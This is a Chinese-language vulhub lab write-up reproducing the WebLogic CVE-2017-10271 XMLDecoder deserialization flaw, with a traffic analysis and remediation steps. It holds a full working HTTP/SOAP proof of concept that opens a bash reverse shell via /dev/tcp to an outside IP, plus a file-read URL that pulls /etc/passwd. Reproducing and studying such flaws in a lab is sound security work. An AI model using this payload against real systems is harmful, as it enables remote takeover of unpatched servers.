【vulhub】Weblogic CVE-2017-10271漏洞复现&&流量分析

时间:2023-03-09 16:47:36
【vulhub】Weblogic CVE-2017-10271漏洞复现&&流量分析

Weblogic CVE-2017-10271 漏洞复现&&流量分析

Weblogic CVE-2017-10271 XMLDecoder反序列化

1.Weblogic-XMLDecoder漏洞浅析

0x01 前生今世:

​ weblogic:7001端口

​ redis :6379 端口

​ tomcat: 8009 端口

​ 此处存在任意文件读取下载漏洞:http://your-ip:7001/hello/file.jsp?path= 如读取 passwd文件:http://your-ip:7001/hello/file.jsp?path=/etc/passwd

​ 首先此漏洞前身为CVE-2017-3506,但是此补丁对于漏洞的修复只限于做了类似于黑名单一样的限制,并没有从原理上解决,才导致了CVE-2017-10271漏洞的出现。绕过了补丁做的限制即可触发RCE远程执行命令。

0x02 涉及版本:

​ 10.3.6.0,12.1.3.0,12.2.1.1,12.2.1.2

0x03 利用姿势:

2. 漏洞点在于:

''' 例如 '''
http://IP:7001/wls-wsat/CoordinatorPortType

3. 其他可利用URI:

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

4. 如何利用?

​ 在上方8个路径中任意选择一个路径,将content-type改成text/xml类型

content-type:text/xml,然后改为post方式传入payload,即可漏洞复现,如果此处为修改类型,则会收到内容为不支持的类型的返回包。

5. POC

''' 反弹shell '''
''' 注意反弹shell语句需要像下面一样进行url编码 ''' POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: your-ip:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 641 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i &gt;&amp; /dev/tcp/192.168.124.141/1234 0&gt;&amp;1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>

6. 抓包分析

0x01 建立反弹shell过程抓包

【vulhub】Weblogic CVE-2017-10271漏洞复现&&流量分析

【vulhub】Weblogic CVE-2017-10271漏洞复现&&流量分析

0x02 反弹shell中执行命令抓包

【vulhub】Weblogic CVE-2017-10271漏洞复现&&流量分析

7. 修复建议

  1. 更新Oracle相应补丁

  2. 对wls-wsat的资源访问在防火墙或路由器和交换机上做acl访问控制规则

  3. 在不影响业务的前提下删除相应war包

    rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
    rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
    rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

    重启weblogic后观察wls-wsat/目录下那8个URI是否还可访问,如为404即删除成功。

8. 参考文章

https://www.freebuf.com/articles/web/197339.html ---weblogic从入门到放弃

https://www.freebuf.com/vuls/179579.html --- weblogic JAVA反序列化